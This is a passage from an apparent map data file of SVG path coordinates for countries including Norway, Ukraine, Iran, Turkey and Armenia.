2.29,1.58 5.16,-1.56 2.82,-2.47 -2.51,1.62 -0.41,-2.26 1.2,-2.22 -0.69,-0.24 -1.35,-0.63 -2.1,-0.66z m-8.26,-3.48c1.26,1.05 1.96,-0.59 3.75,0.18 2.86,-0.7 0.32,-3.31 -1.23,-1.63 -0.54,1.11 -4.66,-2.16 -3.53,0.83 -0.64,0.74 0.98,1.54 1.01,0.63z m-1.56,-1.31c1.64,-1.54 -2.29,-0.9 0,0l0,0z m-3.39,20.54c-1.15,-1.48 -0.79,-2.31 1.27,-2.09 -0.5,0.65 -0.76,1.45 -1.27,2.09z m20.58,-43.12c1.89,-0.99 1.05,0.09 0,0z m18.74,-19.12c-0.11,-1.35 1.21,-2.72 0.71,-0.65l-0.24,0.29 -0.47,0.36 0,0z m7.46,-19.18c-1.61,-0.55 0.1,-1.14 0,0l0,0z m3.95,-10.61c-1.42,-0.85 2.16,-3.22 0.98,-0.56 -0.23,0.31 -0.59,0.56 -0.98,0.56z m8.03,-3.21c-0.35,-1.4 -4.22,-5.53 -0.69,-3.55 1.98,-0.66 -2.87,-2.41 0.24,-2.21 2.34,-1.07 1.29,3.96 3.81,2.24 0.12,-1.58 -1.95,-2.83 0.76,-2.09 1.98,-2.01 2.51,5.82 -0.36,3.01 -2.2,-1.1 -3.01,1.06 -3.76,2.6z m-5.57,-1.57c-2.14,-0.36 2.05,-0.11 0,0z m-7.93,-1.09c-0.6,-2.04 2.47,-0.64 0,0z m7.12,-4.13c0.59,-2.37 4.58,-1.01 4.01,-4.46 0.66,-1.69 0.95,3.05 2.77,1.99 1.53,1.25 -2.5,3.06 -1.7,0.6 -1.05,-1.01 -2.27,1.66 -3.77,0.7 -0.56,0.22 -0.96,0.7 -1.3,1.17z m7.58,-0.78c-1.19,-2.28 3.86,-0.43 2.34,-2.88 -3.7,-0.04 1.43,-1.56 0.6,-2.56 -2.52,-1.2 0.41,-2.37 1.15,-2.81 0.41,-3.22 -2.85,-1.84 -4.06,-0.47 -1.59,-2.04 2.26,-2.36 2.32,-4.57 0.14,1.33 0.46,2.85 1.65,2.42 0.8,1.52 3.32,1.84 3.24,-0.37 1.68,1.68 2.77,1.67 2.31,-0.48 0.79,-1.17 0.35,-2.79 1.61,-3.02 -0.4,-0.66 -1.42,-3.92 0.2,-3.31 0.95,2.39 -0.14,5.28 -0.89,7.26 2.94,1.88 1.55,-3.57 4.12,-3.05 0.22,-1.76 -3.3,-2.79 -1.17,-4.59 1.11,2.64 2.9,-1.39 2.9,-1.08 0.95,0.44 4.33,3.19 2.86,0.58 0.52,-1.54 -0.4,-5.86 -2.92,-3.36 -3.05,-0.22 1.04,-4.05 2.23,-1.43 1.8,-0.47 3.36,-0.55 3.65,1.78 1.6,2.82 3.68,-1.17 2.1,-1.52 0.07,-0.51 -0.69,-2.47 -0.41,-3.71 -0.86,-0.45 -2.21,1.67 -1.86,-0.59 0.28,-1.23 2.77,-3.11 1.94,-0.75 0.94,1.47 4.41,-0.15 2,-1.03 0.6,-1.49 3.48,0.04 1.97,-2.16 -0.79,-0.71 -2.04,-3.95 0.25,-3.13 1.93,-0.42 3.84,0.45 2.02,2.21 -1.75,1.98 -0.56,3.61 -0.42,5.65 -2.28,2.68 3.1,3.87 2.24,0.45 -0.18,-2.74 0.93,-5.32 1.76,-8.05 1.89,-3.05 -1.06,3.6 0.33,2.81 1.3,-1.62 0.64,3.35 2.9,1.4 2.12,-1.22 -1.68,-4.46 1.77,-4.91 0.72,-1.47 -2.34,-1.18 -0.57,-2.18 -0.51,-2.17 4.79,-1.62 2.39,1.11 -1.65,1.09 -1.95,4.14 -0.56,3.08 -0.4,2.24 2.84,0.85 3.62,0.4 -0.89,-1.13 -1.79,-4.79 0.32,-4.87 0.09,2.52 4.6,3.29 3.84,0.25 1.3,0.25 1.81,0.78 0.68,1.44 0.12,2.4 2.78,-0.68 3.9,1.46 2.08,1.26 -1.72,0.74 -1.03,2.68 -0.51,3.31 -7.08,0.08 -6.25,3.51 1.53,-0.19 4.57,0.06 4.67,1.27 -0.73,2.54 2.28,1.63 2.62,2.01 1.41,2.24 -3.5,3.67 -1.9,6.17 0.12,3.04 -1.51,0.49 -0.35,-1.03 0.73,-2.35 -0.61,-5.22 -3.22,-5.51 -2.52,-0.23 -4.95,-4.8 -6.83,-0.86 -0.98,2.59 -3.07,-0.98 -3.73,2.03 -1.82,2.85 -1.43,6.39 -0.81,9.47 1.12,1.85 1.17,3.38 -0.82,4.1 -0.7,1.31 0.29,4.41 -1.67,2.5 -2.14,-1.69 -5.02,-0.86 -5.85,1.4 -2.54,0.85 -4.72,0.04 -5.34,-2.66 -0.99,-2.14 -5.91,-6.2 -6.14,-1.61 0.57,2.13 -0.39,0.96 -1.13,1.23 -0.7,0.99 -4.96,0.92 -2.14,2.3 2.85,1.94 -1.88,4.5 0.34,5.92 1.59,3.24 -4.12,0.39 -5.68,0.21 -2.06,-1.04 -3.15,2.55 -4.42,0.38 -1.01,-0.36 -2.16,1.19 -2.67,1.07z m-9.01,-1c0.11,-2.56 2.91,0.13 0,0z m-1.13,-1.28c-0.8,-1.29 3.49,-1.49 0.69,-0.52l-0.34,0.34 -0.36,0.18 0,0z m4.3,-0.48c-1.71,-0.47 -0.9,-2.93 0.17,-2.2 -0,0.74 -0.11,1.47 -0.17,2.2z m4.79,-4.64c0.18,-0.78 1.29,-1.07 0,0z m7.64,-3.83c-2.24,0.29 -1.11,-3.47 -0.22,-0.75 0.06,0.35 1.74,0.98 0.22,0.75z m2.2,-0.62c-2.38,-0.91 -2.84,-5.4 0.1,-4.68 0.37,1.54 -0.1,3.12 -0.1,4.68z m-1.72,-6.1c-4,-0.97 3.45,-2.52 1.03,-0.52 -0.42,0.05 -0.59,0.56 -1.03,0.52z m5.27,-4.48c-0.27,-0.28 0.7,-0.67 0,0z m42.25,-2.91c-1.73,0.39 -2.88,-3.16 -0.45,-1.74 1.34,-0.78 2.3,1.96 0.45,1.74z m-35.9,-2.93c0.17,-2 2.33,-0.17 0,0z m1.12,-1.12c1.6,0.69 0.37,-2.16 2.16,-2.14 -0.43,0.5 -1.9,3.93 -2.16,2.14z m20.87,-4.79c0.68,-1.68 0.54,-0.43 0,0z m-9.67,-2.21c-2.58,-0.52 -0.4,-3.09 0.65,-0.8 -0.07,0.3 -0.24,0.8 -0.65,0.8z M319.32,12.08c-0.3,-1.14 -1.45,-2.77 -2.39,-2.03 -1.57,-1.66 3.97,-2.79 -0.11,-4.02 -1.19,0.78 -1.7,1.41 -2.54,-0.32 -1.8,0.29 -3.52,-4 -2,-4.15 0.28,2.4 2.41,-1.85 3.57,0.39 1.62,1.46 1.99,-0.61 1.81,-1.03 1.1,0 2.2,0 3.3,0 -1.65,1.5 0.79,4.98 -1.45,5.97 1.81,0.96 -0.87,3.73 0.84,4.72 -0.27,0.27 -0.64,0.46 -1.03,0.47z M334.56,1.41c-0.71,-0.78 1.26,-0.59 0,0z","name":"Norway"},"ua":{"path":"m458.88,376.43c-1.65,0.13 -4.78,-1.76 -1.5,-2.12 1.11,-0.94 -0.88,-2.9 1.02,-4.06 0.62,-1.77 2.75,-4.95 1.17,-6.55 -2.35,-0.6 0.77,-4.92 0.58,-1.37 1.22,0.09 1.33,-0.46 2.29,-1.4 1.42,1.03 2.11,1.68 2.01,-0.49 0.8,-0.31 0.98,2.31 1.91,0.48 2.09,-0.77 2.07,-2.38 0.02,-2.62 0.48,-3.05 -2.01,-4.08 -4.34,-4.76 -1.03,-1.35 0.14,-4.1 -2.32,-4.58 -0.19,2.48 -3.85,-0.68 -2.94,-2.62 0.58,-1.57 -1.58,-5.77 -2.62,-3.02 -1.32,-0.9 -3.45,-3.78 -4.76,-1.05 -0.61,-1.26 -0.31,-1.31 -2.39,-0.85 -1.59,-0.19 -3.7,-2.91 -5.96,-1.05 -1.9,1.41 -4.52,1.99 -6.34,2.49 -0.3,1.21 -2.98,2.87 -3.26,4.06 0.69,2.88 -3.92,2.94 -5.88,3.36 -1.91,1.06 -2.85,5.5 -5.12,2.22 -2.55,-1.4 -4.85,1.16 -7.45,0.17 -2.78,0.68 -6.22,-1.81 -7.42,1.27 -1.7,-1.79 -4.36,-1.99 -6.08,-3.8 -1.69,-1.99 1.67,-4.76 1.1,-7.32 0.71,-2.08 3.89,1.72 3.03,-0.71 -0.43,-1.86 -2.14,-2.21 -2.09,-4.41 -1.6,-2.52 1.02,-5.01 1.85,-7.4 1.48,-2.09 2.06,-5.46 4.76,-6.09 3,-1.14 0.85,-4.79 0.14,-5.51 2.5,-2.1 -3.76,-3.23 -3.93,-5.84 -0.3,-1.41 -1.88,-4.75 0.96,-3.25 2.78,-0.65 2.08,-4.77 5.31,-4.83 2.44,-2.13 5.65,-1.09 8.41,-2.29 2.86,0.12 5.82,0.8 8.71,-0.13 1.44,0.02 2.96,3.43 4.46,0.67 0.48,-0.61 1.02,3.11 2.27,0.92 -0.68,-2.01 1.68,-0.28 2.33,-1.83 1.72,1.64 3.14,-2.06 4.36,1.19 0.98,-0.83 1.53,-5.36 3.12,-2.13 0.91,1.83 2.9,1.59 3.18,-0.37 1.11,-0.89 4.84,0.77 2.92,-1.35 2.22,-0.55 3.94,4.29 5.74,0.82 -0.53,-2.27 -3.24,-4.21 -1.65,-7.03 0.3,-2.91 3.55,-3.36 5.73,-4.62 2.8,0.98 5.55,-1.1 4.6,-3.99 2.15,-0.59 4.74,-0.01 5.62,-2.79 1.28,-1.72 2.08,2.03 2.83,-0.54 3.15,-1.7 3.09,3.74 6.17,3.78 2.69,0.81 -2.77,1.83 -0.06,3.34 0.97,1.1 0.27,1.92 1.66,2.64 0.13,1.93 0.76,2.76 1.8,0.93 1.75,0.21 3.63,-0.42 4.86,-1.04 1.22,1.6 2.86,1.33 3.58,3.44 0.66,2.12 2.97,6.38 5.86,3.86 0.95,-2.66 2.98,0.62 4.61,-0.26 2.96,0.38 3.76,-3.58 5.99,-4.66 2.15,1.36 3.87,3.07 6.32,3.78 2.39,1.73 1.46,-2.06 1.83,-2.22 2.04,0.83 3.63,-0.35 5.65,0.78 1.64,-1.06 3.29,-0.67 5.4,-0.98 -0.34,2.96 3.78,0.35 3.93,-0.21 -1.54,1.79 2.89,1.91 1.36,4.34 -0.91,1.71 -3.3,4.32 0.42,4.36 1.34,-0.17 -2.51,1.76 -0.87,3.22 0.73,1.16 4.31,0.82 2.94,3.4 -1.12,2.14 2.56,-1.79 1.05,1.32 0.04,1.92 1.74,4.67 -1.56,4.6 -2.59,0.04 -5.57,1.58 -4.88,4.34 -1.93,1.59 -3.46,4.3 -2.04,6.74 1.21,-0.9 1.4,3.27 -0.48,2.33 -2.61,-0.17 -4.34,2.86 -4.47,4.25 -3.32,-0.37 -1.93,5.58 -4.94,3.83 -1.97,0.68 -1.55,3.31 -3.9,2.83 -2.31,2.16 -4.28,4.87 -4.46,8.16 0.05,2.37 -1.89,1.63 -2.69,0.94 -1.43,2.66 1.92,4.83 3.49,6.52 1.72,1.52 4.3,4.21 6.67,2.42 1.12,-1.05 0.41,-2.57 2.09,-1.56 1.41,-0.15 1,-2.82 3.17,-2.37 1.15,-0 0.13,2.98 0.5,4.21 -1.72,0.79 -3.13,2.24 -5.41,1.17 -2.72,0.19 -1.51,3.05 -3.33,4.45 -1.46,1.36 -5.27,2.16 -5.39,5.34 -0.65,2.52 -2.91,5.33 -5.63,3.62 -2.92,-0.52 2.13,-0.53 -0.45,-1.77 -0.6,-1.76 -0.24,-6.9 -3.31,-5.63 -2.51,0.74 -5.09,-2.4 -7.49,-0.19 -0.84,-1.11 2.17,-2.44 2.5,-3.9 1.15,-2.11 4.76,-3.17 5,-5.4 -1.21,-0.47 -1.1,-4.45 -2.98,-2.14 -0.01,2.53 -3.55,-2.55 -3,-0.06 -1.18,1.35 -4.02,3.26 -6.29,3.26 -0.55,-2.41 -5.82,0.8 -2.84,-2.01 -2.07,-2.11 3.13,-0.37 2.51,-2.12 0.43,-0.87 2.54,-3.83 0.04,-2.33 -1.67,2.49 -5.64,0.74 -4.34,-2.2 -3.44,-0.71 0.17,4.67 -3.05,4.35 -0.95,0.4 -1.24,-2.89 -2.18,-0.81 1.19,3.1 -5.65,1.69 -4.31,5.43 -0.19,2.64 -0.71,6.16 -2.65,8.5 -1.92,0.15 -2.28,-0.37 -1.97,1.56 1.06,2.6 -1.47,1.65 -1.44,-0.04 -3.03,0.54 1.86,5.97 -1.63,4.84 -1.69,1.04 -2.76,2.58 -4.85,3.23 -0.33,0.68 0.22,1.06 -0.9,0.94z m8.84,-3.13c-1.24,-0.5 0.31,-1.59 0,0z M480,354.71c-2.02,-0.24 1.4,-0.94 0,0z","name":"Ukraine"},"il":{"path":"m564.91,519.32c-2.79,-0.13 -5.59,-0.02 -8.39,-0.06 1.03,-3 0.55,-6.35 0.36,-9.47 -0.77,-1.89 -0.08,-3.97 0.69,-5.38 -2.21,-3.68 3.62,-1.36 3.34,-4.63 0.16,-2.5 0.5,0.45 0.78,1.3 0.41,1.74 0.97,3.45 0.64,5.26 0.64,4.15 2.85,8.05 2.93,12.32 -0.33,0.17 0.28,0.88 -0.36,0.66z","name":"Israel"},"sa":{"path":"m593.15,519.31c-2.83,-0.62 -5.1,-2.77 -7.77,-3.86 -1.58,-0.98 -5.22,-1.86 -2.02,-3.26 5.2,-3.81 10.77,-7.23 15.26,-11.9 1.43,-2.99 4.63,-3.12 7.49,-3.98 3.73,-1.26 7.76,-1.54 11.57,-0.41 3.34,1.04 6.79,1.79 10.32,1.49 3.1,-0.23 6.16,0.27 9.07,1.36 7.05,2.14 14.23,3.86 21.25,6.06 3.22,1.22 7.13,2.8 10.33,0.7 3.47,-1.54 7.12,-2.66 10.59,-4.19 0,5.98 0,11.96 0,17.94 -28.52,0 -57.04,0 -85.55,0l-0.54,0.05z","name":"Saudi Arabia"},"iq":{"path":"m665.09,505.54c-3.93,-0.14 -7.37,-2.41 -11.2,-3.08 -6.98,-1.9 -13.93,-3.92 -20.88,-5.88 -4.51,-0.55 -9.21,0.46 -13.56,-1.25 -4.06,-1.23 -8.45,-1.67 -12.53,-0.27 -2.28,0.01 -6.14,3.28 -6.23,-0.28 -1.25,-1.52 -3.9,2.58 -3.26,-0.38 2.09,0.09 -1.51,-3.02 -1.67,-4.04 -1.32,-2.57 -5.49,-5.02 -2.13,-7.49 4.5,-5.84 9.16,-11.56 13.6,-17.45 2.04,-3.07 2.39,-7.4 0.02,-10.4 -1.41,-3.28 0.38,-7.66 -2.62,-10.31 -3.09,-2.29 -2.71,-6.73 0.85,-8.16 2.5,-2.92 2.33,-7.04 4.39,-10.19 0.66,-2.04 0.93,-3.47 3.19,-3.89 2.1,-2.75 5.72,-0.13 8.03,-2.44 0.9,-1.04 2.2,-3.85 2.95,-0.99 0.24,2.01 2.47,2.98 2.75,0.39 0.38,-1.99 1.84,-3.41 3.5,-1.73 2.25,0.16 -1.13,2.67 1.73,2.71 2.42,-0.18 1.65,4.3 5.21,2.73 1.14,1.18 1.93,5.76 4.16,3.01 2.6,0.76 5.25,0.47 7.14,-1.59 0.61,0.22 -3.19,2.13 -1.4,3.83 1.09,1.94 5.9,4.19 1.79,5.59 0.41,2.25 -2.38,5.11 0.78,6.65 -2.86,-0.58 -2.74,5.86 0.16,4.24 -0.52,2.48 -0.45,5.39 2.6,5.52 0.99,0.71 1.98,1.43 2.96,2.14 0.34,-1.31 1.06,-1.78 0.88,-0.17 1.65,-0.62 3.99,0.32 4.03,2.59 0.12,1.35 0.91,3.75 2.75,1.76 3.33,-1.46 6.61,1.38 9.97,1.03 2.56,-1.77 4.83,0.86 6.18,2.91 0,13.19 0,26.38 0,39.57 -4.3,1.87 -8.8,3.32 -13.06,5.23 -0.36,0.05 -0.72,0.08 -1.09,0.08z","name":"Iraq"},"az":{"path":"m625.84,392.01c-2.29,-1.74 -6.12,-1.39 -7.67,-4.17 -2.87,-0.9 2.82,-3.1 1.5,0.21 -0.29,2.16 0.66,-0.38 1.38,-0.86 1.98,0.67 2.99,-0.38 4.14,-1.97 0.78,0.36 1.17,3.12 3.09,2.25 0.41,1.86 5.4,3.6 1.25,3.88 -1.24,0.15 -2.44,0.52 -3.69,0.66z m9.25,-4.53c-1.22,-1.31 -1.37,-1.74 -0.58,-3.22 -0.7,-1.79 -4.05,0.28 -2.18,-2.45 -0.71,-3.07 -3.86,1.6 -5.74,-0.73 -1.12,-1.04 -4.8,-0.64 -2.24,-1.72 1.66,-3.91 -3.46,-4.05 -5.96,-4.45 -3.06,-0.54 1.31,-0.13 -0.04,-1.79 -1.74,-0.11 0.76,-3.32 -2.15,-2.78 -1.13,-2.07 -3.77,1.24 -3.43,-1.3 -3.83,0.78 -1.14,-4.07 1.25,-3.79 1.55,-0.11 2.45,2.19 4.64,1.11 1.17,-0.47 1.66,-2.32 3.53,-1.24 4.04,0.44 2.81,-5.63 -0.82,-5.09 -1.19,-0.23 -4.57,-0.92 -2.6,-1.97 -1.03,-3.22 2.59,-2.79 4.29,-1.55 1.8,0.76 4.71,-0.66 4.29,1.94 2.3,1.27 5.96,-0.02 6.83,-2.57 -0.51,-2.81 0.78,-5.44 1.5,-8.17 0.77,-1.87 3.93,1.21 5.57,1.75 2.04,2.28 4.63,3.86 7.4,4.84 2.72,2.9 5,-2.29 8.05,-0.66 2.42,0.7 -1.69,0.86 -2.16,1.8 -1.58,1 -0.94,2.98 -2.64,4.05 -0.87,2.65 2.35,4.7 1.48,7.28 0.01,2.24 2,3.06 1.53,5.18 2.05,2.31 -2.94,0.21 -1.67,3.07 0.41,2.71 2.06,5.63 2.66,7.96 -1.4,1.58 -3.89,-2.8 -4.72,-0.12 -0.51,-2.33 -5.01,-0.05 -2.24,-2.75 1.89,-2.25 -0.89,-2.79 -2.14,-3.4 -0.39,-1.7 3.13,-2.19 0.43,-2.98 -2.55,-2.17 -6.8,-1.82 -7.18,2.01 -1.56,2.2 -2.45,4.87 -3.2,7.25 -1.02,1.28 -1.42,2.9 -1.76,4.47z","name":"Azerbaijan"},"ir":{"path":"m679.21,458.81c-1.85,-0.64 -2.96,-4.67 -5.07,-2.4 -2.51,1.13 -4.99,-0.69 -7.5,-0.94 -1.54,-1.25 -4.65,1.4 -4.88,0.3 -0.35,-2 -1.76,-5.08 -4.31,-4.59 -0.55,-2.48 -2.8,0.93 -4,-1.28 -1.15,-1.36 -3.82,-0.5 -2.7,-3.18 1.2,-2.24 -1.18,-2.93 -1.92,-2.92 -0.76,-2.14 0.85,-1.8 1.93,-2.95 -0.87,-1.54 -2.25,-2.23 -1.18,-3.98 1.41,-1.22 -0.93,-2.74 1.62,-3.12 2.22,-2.84 -3.32,-4.02 -3.44,-6.68 1.23,-0.62 3.69,-3.96 0.62,-3.5 -2.16,1.88 -4.6,2.34 -7.4,1.61 -2.13,2.68 -1.52,-4.01 -4.35,-3.02 -2.59,1.12 -1.74,-3.71 -4.6,-2.9 0.47,-2.81 -2.6,-2.62 -3.34,-4.74 -3.51,-0.37 -2.73,-5.88 -6.79,-4.9 -2.43,-0.23 0.88,-4.74 -1.15,-6.42 -2.63,1.81 -2.65,-3.09 -4,-4.32 -2.26,0.51 -1.17,-4.01 -3.82,-4.01 -1.08,-1.34 3.43,-0.98 2.24,-3.41 -0.62,-1.73 -1.46,-4.27 1.42,-2.93 2.06,1.49 5.14,2.91 7.63,3.88 2.25,1.24 5.18,-0.04 7.5,-0.74 2.07,-1.71 5.07,-2.61 4.75,-5.97 2.3,-2.33 1.71,-5.53 3.7,-8.09 0.98,-2.61 2.58,-5.68 5.71,-3.44 1.82,0.32 -1.95,3.66 1.08,3.95 4.06,-0.35 -2.73,4.32 1.52,4.83 1.27,-1.49 2.59,2.44 3.8,0.15 1.45,1.58 3.99,1.1 4.87,0.71 1.82,2.85 3.68,6.92 7.62,6.9 3.17,0.36 5.34,-2.56 8.13,-3.02 2.01,0.9 4.99,2.01 6.34,2.88 -0.02,22.74 0.03,45.49 -0.03,68.23z","name":"Iran"},"ge":{"path":"m581.92,380.27c-2.26,-0.5 1.41,-3.83 -0.72,-5.4 -1.82,-2.3 -4.05,-4.17 -5.45,-6.77 -1.72,-2.18 -4.46,-0.36 -5.95,-2.58 -2.48,-1.15 -5.99,1.77 -7.69,-0.38 -1.24,-0.61 -3.4,-1.34 -1.11,-2.52 2.92,-1.18 5.31,-0.74 8.31,-1.17 2.62,-0.64 4.81,0.81 7.27,-1.05 1.64,-1.03 2.03,-2.53 4.37,-2.32 3.09,-1.55 5.23,0.93 8.34,0.23 1.97,-0.34 3.8,-1.06 3.76,1.37 3.33,1.16 4.09,-3.43 6.09,-4.97 1.82,1.19 3.56,0.44 3.29,-1.84 2.38,1.1 4.89,0.94 6.98,-0.29 0.1,2.19 0.6,4.52 3.44,3.9 1.82,0.87 6.7,-2.08 4.44,1.62 -1.04,4.09 6.18,1.33 6.51,4.88 -0.55,2.71 -3.63,-0.63 -4.78,1.93 -2.42,2.07 -3.95,-2.25 -6.59,-0.28 -2.88,0.84 -1.75,4.15 -4.11,5.26 -2.15,1.64 -6.02,2.97 -7.99,5.72 -1.4,1.55 -3.24,0.61 -4.57,1.11 -0.32,-2.7 -4.41,-0.39 -5.08,-2.59 -2.74,0.39 -1.4,4.41 -4.46,3.55 -2.08,-0.04 -2.63,2.5 -4.3,2.58z","name":"Georgia"},"sy":{"path":"m570.98,505.1c-2.37,-0.06 -4.22,-2.23 -6.66,-1.9 -1.76,1.54 -0.95,-3.61 -2.17,-4.66 0.26,-2.1 3.06,-4.25 2.48,-6.23 -2.86,0.37 -0.12,-3.18 1.61,-2.81 1.41,-1.1 -2.08,-2 0.23,-3.24 2.46,-1.85 0.82,-6.41 -2.32,-5.73 1.74,-2.54 -3.41,-1.48 -4.52,-0.5 -2.16,-1.45 -1.71,-4.59 -2.2,-6.89 -0.72,-2.13 -3.63,-2.2 -2.69,-4.95 -1.91,-3.07 4.61,0.44 2.96,-3.37 1.96,-1.34 -0.54,-4.12 2.56,-4.37 1.92,-1.95 -2.9,-3.08 -1.96,-5.67 -0.17,-2.68 3.53,-1.88 4.07,-0.24 2.8,-1.4 6.26,-2.87 7.96,-6.08 1.77,-3.87 6.01,-0.57 8.96,-1.32 4.89,-1.98 9.3,-5.28 12.15,-9.78 2.06,-3.09 5.52,-4.42 8.88,-5.51 3.15,-0.62 4.71,-4.01 6.68,-5.54 2.16,2.06 -0.35,4.49 -0.71,6.75 -0.34,2.94 -3.64,3.54 -4.67,5.93 -0.77,2.72 0.96,5.34 2.92,7.06 1.91,2.86 0.25,6.61 2.05,9.52 1.43,2.7 2.07,6.08 0.11,8.71 -2.41,4.04 -5.84,7.35 -8.54,11.19 -6.92,8.84 -13.8,17.72 -20.31,26.87 -1.64,2.62 -4.19,2.66 -6.86,2.76z","name":"Syrian Arab Republic"},"tr":{"path":"m494.91,482.2c-2.64,-0.83 -6.61,0.7 -6.69,-3.38 -0.28,-2.26 -4.06,-2.7 -3.32,0.14 -2.13,0.72 -2.01,-4.36 -4.24,-2.06 -1.1,1.64 -1.71,4.09 -2.75,1.3 -0.06,-0.7 3.87,-0.84 1.58,-2.85 -2.66,-0.75 -4.9,2.05 -7.56,2.3 -3.22,0.12 2.63,-2.09 -0.16,-3.58 -1.02,-1.26 -2.59,-1.78 -3.85,-0.25 0.8,-2.14 -2.11,-2.59 -0.3,-4.42 0.7,-2.91 -3.46,-4.14 -4.72,-3.08 -0.35,-2.13 -2.41,-1.66 -2.94,-0.12 -0.96,-0.52 -4.49,-1.13 -1.65,-1.67 1.95,-1.12 -0.35,-1.93 -0.64,-2.3 -0.1,-2.91 1.76,1.21 2.44,2.3 1.21,0.53 0.61,-1.54 2.32,-0.91 2.14,0.31 3.08,-4.19 0.9,-2.3 -2.98,0.71 -3.35,-2.88 -0.63,-3.63 1.42,-2.31 -2.41,-1.49 -2.02,-3.47 -1.48,-1.26 -3.08,-1.7 -1.12,-3.61 1.88,-4.06 -3.41,-1.44 -4.89,-0.21 -3.22,2.13 -1.41,-2.71 -2.53,-4.43 0.27,-1.5 2.4,-1.02 1.65,-3 1.08,-2.79 3.49,-3.54 5.85,-4.95 1.33,-0.2 3.18,2.13 5.06,0.5 2.19,-0.32 0.53,-4.12 2.21,-2.66 -1.01,2.78 3.65,-0.5 5.07,-0.34 1.73,-0.22 7.01,-0.13 5.15,-2.97 -1.48,-0.21 -3.18,0.39 -0.99,-0.95 1.96,-1.62 4.19,-2.4 6.66,-2.8 2.77,-0.54 1.2,-2.91 -0.89,-1.86 -1.93,1.45 -3.4,0.81 -4.38,0.32 -3.58,0.35 -2.31,-4.79 0.81,-3.52 2.71,0.01 5.57,-0.39 7.64,-2.28 2.46,-0.32 5.31,1.16 7.39,-0.69 2.9,-0.41 1.41,-4.52 4.23,-5.54 2.71,-2.98 4.61,-6.84 8.39,-8.68 2.29,-1.78 4.29,-3.83 7.39,-4.02 3.16,-0.7 6.47,-1.22 9.26,-2.97 -0.18,-2.01 2.92,-3.03 2.12,-0.46 1.09,2.77 5.37,3.22 7.04,0.72 1.14,-1.37 -0.27,2.45 1.16,0.14 2.04,-1.94 2.88,3.79 5.57,2.83 1.27,-1.86 4.62,-3.78 5.67,-1.09 1.67,-0.99 4.1,0.27 5.52,-0.17 -0.07,-1.45 1.44,-1.93 0.76,-0.72 3.48,0.31 7.66,-0.08 9.71,-3.32 2.34,-1.18 4.33,-4.18 7.15,-3.36 2.71,-0.07 6.67,-0.67 7.5,-3.83 1.38,-2.88 4.81,-4.34 5.49,-7.63 0.34,-3.02 3.69,-0.01 3.89,-2.79 0.79,-1.71 6.06,-0.8 5.2,-2.54 -0.27,-1.98 1.64,-2.11 0.91,-0.61 1.97,-1.13 4.24,-0.33 5.11,0.95 0.95,1.76 2.34,-1.7 3.43,0.93 2.07,0.94 4.5,1.8 3.64,4.81 0.12,2.83 2.56,6.38 5.64,4.35 1.45,-1.61 6.05,-1.12 6.12,-0.28 -2.87,1.25 2.28,4.65 -1.45,5.76 -2.31,0.86 -1.86,1.74 0.02,2.55 2.07,1.41 1.16,4.02 3.6,4.69 1.23,1.57 1.59,5.71 3.8,4.2 0.43,2.37 -1.79,7.52 2.74,6.05 2.64,-0.44 0.94,3.97 3.94,4.02 3.58,1.02 -1.74,2.3 -1.12,4.76 -1.2,0.98 -0.5,-3.85 -3.12,-2.67 -1.98,1.2 -2.57,4.14 -5.61,3.29 -2.88,-0.31 -4.84,1.72 -7.02,2.7 -0.69,1.88 -0.86,5.21 -2.91,2.44 -2.75,-0.22 -2.61,4.46 -5.58,4.92 -2.98,1.72 -6.75,1.93 -9.15,4.66 -2.61,2.66 -4.36,6.14 -7.61,8.16 -2.25,1.32 -4.52,3.36 -7.26,3.28 -3.54,-1.52 -7.49,-0.78 -9.08,3.03 -1.68,2.28 -5.43,4.75 -7.39,2.82 -3.82,-1.14 -4.64,3.62 -2.75,6 0.73,1.14 2.5,1.57 0.17,2.12 -3,0.1 0.83,3.76 -2.09,4.07 1.59,1.89 -1.39,2.48 -1.35,0.31 -1.32,-1.73 -3.85,-3.07 -1.43,-5.18 3.46,-2.09 -0.87,-8.48 -3.12,-4.45 -0.21,1.09 -4.52,4.06 -1.07,3.29 -0.14,0.32 -3.7,3.62 -5.39,1.57 -3.14,-1.5 -6.7,0.91 -7.75,3.93 -2.31,1.12 0.64,5.77 -2.52,4.44 -0.89,2.68 -3.25,3.27 -5.84,4.06 -1.96,1.06 -3.83,3.65 -6.37,2.47 -2.84,-1.55 -5.07,-4.65 -8.7,-4.14 -2.94,-0.38 -6,-0.94 -8.9,-0.06 -3.48,-0.29 -3.26,3.57 -2.85,5.62 -0.19,1.75 1.15,3.5 -1.34,2.67 -2.13,0.36 -2.94,2.88 -4.85,3.38z m-22.48,-0.92c1.54,-1.56 1.67,0.46 0,0z m4.91,-2.51c-0.79,-0.93 0.97,-1.15 0,0z m-7.81,-0.87c-2.21,-0.79 -0.04,-1.14 0.54,-0.39 -0.12,0.2 -0.29,0.4 -0.54,0.39z m-17.07,-35.78c-2.05,-1.66 3.84,-4.8 1.02,-1.64 -0.17,0.27 -1.7,3.54 -1.02,1.64z m-2.5,-4.63c-2.27,-0.95 2.99,-3.59 0.8,-5.77 -1.18,-2.59 4.67,-3.55 1.64,-6.24 -1.25,-1.27 -3.7,-1.75 -1.56,-3.41 0.31,-2.43 2.93,-0.92 3.7,-3.21 1.99,-1.8 4.08,2.49 6.12,-0.22 3,-2.82 1.8,3.03 4.59,3.75 2.54,1.72 5.71,1.31 8.59,1.46 1.59,1.71 -1.83,5.17 -3.31,2.87 -1.59,0.83 -4.21,-0.49 -5.46,2.07 -2.23,0.06 -4.36,0.17 -4.68,3.06 -0.43,2.55 -2.87,5.66 -5.23,3.75 -1.9,0.1 -3.3,1.78 -5.2,1.9z","name":"Turkey"},"am":{"path":"m631.96,389.85c-1.96,-0.78 -2.5,-4.05 -4.9,-3.4 0,-2.98 -2.99,-2.85 -3.89,-0.42 -0.72,0.59 -2.05,-1 -2.73,0.47 -1.44,-4.24 -3.82,2.15 -6.08,-0.34 -2.43,-1.36 -5.05,-0.13 -7.33,0.88 -1.6,1.02 -2.24,-1.35 -3.25,-2.19 -0.22,-2.63 -0.35,-6.8 -3.95,-6.8 -1.56,-1.33 3.34,-2.22 3.67,-4.1 2.01,-1.81 4.84,-2.17 7,-3.75 -1.93,-0.72 2.92,-0.35 0.29,0.72 0.12,2.73 3.55,-1.6 5.25,0.33 2.07,0.17 -1.51,3.12 1.09,4.06 1.57,1.97 7.78,-0.09 6.04,3.56 -1.81,0.88 -2.21,2.81 0.36,2.27 2.62,0.26 4.73,3.06 7.3,0.67 1.25,-0.38 -1.56,2.52 0.95,2.4 1.37,0.14 2.22,0.32 0.58,1.07 -0.16,1.55 